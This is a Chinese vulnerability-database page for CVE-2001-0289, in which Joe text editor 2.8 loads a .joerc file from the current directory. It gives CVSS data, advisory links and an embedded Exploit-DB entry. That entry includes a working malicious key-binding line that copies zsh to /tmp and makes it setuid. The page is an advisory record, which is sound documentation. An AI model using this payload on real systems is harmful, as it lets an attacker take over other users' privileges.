CVE-2001-0289
CVSS4.6
发布时间 :2001-05-03 00:00:00
修订时间 :2008-09-05 16:23:44
NMCOE    

[原文]Joe text editor 2.8 searches the current working directory (CWD) for the .joerc configuration file, which could allow local users to gain privileges of other users by placing a Trojan Horse .joerc file into a directory, then waiting for users to execute joe from that directory.


[CNNVD]Joe文字编辑器使权限受到威胁(CNNVD-200105-013)

        Joe文字编辑器2.8版本可以为.joerc配置文件搜索当前工作目录(CWD),本地用户可以通过放置特洛伊木马.joerc文件进入目录获取其他用户的权限,然后该漏洞等待用户去执行来自目录的joe。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0289
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0289
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200105-013
(官方数据源) CNNVD

- 其它链接及资源

http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-026.php3
(VENDOR_ADVISORY)  MANDRAKE  MDKSA-2001:026
http://www.debian.org/security/2001/dsa-041
(VENDOR_ADVISORY)  DEBIAN  DSA-041
http://archives.neohapsis.com/archives/bugtraq/2001-02/0490.html
(VENDOR_ADVISORY)  BUGTRAQ  20010228 Joe's Own Editor File Handling Error
http://www.redhat.com/support/errata/RHSA-2001-024.html
(UNKNOWN)  REDHAT  RHSA-2001:024

- 漏洞信息

Joe文字编辑器使权限受到威胁
中危 未知
2001-05-03 00:00:00 2005-05-02 00:00:00
本地  
        Joe文字编辑器2.8版本可以为.joerc配置文件搜索当前工作目录(CWD),本地用户可以通过放置特洛伊木马.joerc文件进入目录获取其他用户的权限,然后该漏洞等待用户去执行来自目录的joe。

- 公告与补丁

        

- 漏洞信息 (20658)

Joe Text Editor 2.8 .joerc Arbitrary Command Execution Vulnerability (EDBID:20658)
unix local
2001-02-28 Verified
0 Wkit Security
N/A [点击下载]
source: http://www.securityfocus.com/bid/2437/info

Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.

A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.

Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges. 


Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding:

:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype

This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe. 		

- 漏洞信息

6022
Joe's Own Editor (joe) .joerc Path Subversion Arbitrary Command Execution
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-02-26 Unknow
2001-02-28 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站